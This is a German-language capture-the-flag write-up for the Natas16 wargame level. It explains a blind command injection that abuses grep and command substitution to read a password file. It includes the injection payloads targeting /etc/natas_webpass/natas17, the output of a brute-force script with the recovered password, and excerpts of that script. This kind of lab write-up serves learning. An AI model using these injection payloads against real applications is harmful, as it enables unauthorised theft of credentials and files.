Aktualisiert am: 2022-08-26
Command Injection
Enumeration
Natas16 ist eine sicherere Version von Natas10.
- Der Parameter
$keydarf nun insbesondere weder Doublequotes (") noch Backslashes (\) enthalten, bevor er angrepübergeben wird -
Zudem ist
$keyvon Doublequotes (") umgebenif($key != "") { if(preg_match('/[;|&`\'"]/',$key)) { print "Input contains an illegal character!"; } else { passthru("grep -i \"$key\" dictionary.txt"); } }
Exploitation
- Aus den Doublequotes (
") können wir nicht ausbrechen, auch nicht mit Zeichencodes (\x22) - Immerhin bleiben uns die Zeichen
$()für Command Substitution. Damit können wir den Output eines beliebigen Befehls als Pattern fürgrepübergeben
grep
Mit einem inneren grep prüfen wir, ob beispielsweise der Buchstabe A im Kennwort vorkommt
grep -i "$(grep A /etc/natas_webpass/natas17)African" dictionary.txt
-
Wenn der innere
grepetwas findet, wird dadurch der äusseregrepfehlschlagenOutput: <pre> </pre> -
Wenn hingegen der innere
grepnichts findet, wird der äusseregreperfolgreich seinOutput: <pre> African </pre>
Ähnlich wie bei einer Blind SQL Injection liessen sich nun basierend auf dem jeweiligen Output
- alle möglichen Zeichen ermitteln und
- diese dann mittels Regex
^...(beginnt mit …) durchprobieren
cut
Es ist deutlich effektiver, statt eines inneren grep einen inneren cut zu verwenden. Anstelle also zu prüfen, ob ein Zeichen im Kennwort vorkommt, lassen wir direkt beispielsweise das erste Zeichen zurückgeben
grep -i "^$(cut -c1 /etc/natas_webpass/natas17)" dictionary.txt
Dennoch müssen wir hier zur genaueren Bestimmung auf die ursprüngliche Variante mit einem inneren grep zurückgreifen:
- Buchstaben: In der Datei
dictionary.txtgibt es für jeden Buchstaben mindestens ein Wort, das mit dem jeweiligen Buchstaben beginnt. Wir wissen aber nicht, ob der zurückgegebene Buchstabe gross- oder kleingeschrieben ist (grep -i, case-insensitive) - Ziffern: Sollten im Kennwort Ziffern vorkommen, könnten wir dies nicht feststellen, da sie in der Datei
dictionary.txtgänzlich fehlen. Die Idee, das Kennwort vor der Extraktion zur Basis 26 (oder tiefer) zu codieren, um lediglich Buchstaben vorzufinden, habe ich nicht weiter verfolgt.
Python Script
Demo | natas16-solution.py
Demo | natas16-solution-debug.py
Das Script braucht weniger als 100 Versuche, um das Kennwort herauszufinden
001 #
0123456789
012 0
013 3
014 5
015 7
016 8
017 p
018 P
019 s
020 s
021 #
022 0
023 3
024 h
025 H
026 #
027 0
028 g
029 G
030 w
031 W
032 b
033 b
034 n
035 n
036 #
037 0
038 3
039 5
040 r
041 r
042 d
043 d
044 #
045 0
046 3
047 5
048 7
049 8
050 9
051 s
052 S
053 #
054 0
055 3
056 5
057 7
058 g
059 G
060 m
061 m
062 a
063 A
064 d
065 d
066 g
067 g
068 q
069 Q
070 n
071 N
072 d
073 d
074 k
075 k
076 h
077 h
078 p
079 P
080 k
081 k
082 q
083 q
084 #
085 0
086 3
087 5
088 7
089 8
090 9
091 c
092 c
093 w
094 w
095
requests: 95
password: 8Ps3H0GWbn5rd9S7GmAdgQNdkhPkq9cw
Es probiert jeweils erst mit cut die Zeichen direkt zu extrahieren
while (pw_current_char := get_positional_character(i)) is not None:
Im Erfolgsfall muss nur noch mit grep geprüft werden, ob der kleingeschriebene Buchstabe nicht doch grossgeschrieben ist
# successful positional extraction?
if pw_current_char:
# ascii letter is not case-sensitive because of 'grep -i', verification needed
if not get_first_matching_character('^' + ''.join(pw), pw_current_char, True):
# lowercase character does not match password
pw_current_char = pw_current_char.upper()
Andernfalls wird es sich um ein Zeichen handeln, welches in der Datei dictionary.txt nicht vorkommt: eine Ziffer. Einmalig müssen nun die im Kennwort verwendeten Ziffern ermittelt werden. Dem soweit bekannten Kennwort werden nun die ermittelten Ziffern jeweils hinten angefügt und mit grep durchprobiert
else:
# extraction failed, because character at specific position is not in the dictionary
# e.g. if password starts with a number, it cannot be found in the output
# for easier brute force, we first verify which characters are used in the password at all
if not verified_chars:
for c in string.digits:
# digit does match password?
if get_first_matching_character('', c):
verified_chars.append(c)
# brute force with verified characters
pw_current_char = get_first_matching_character('^' + ''.join(pw), verified_chars)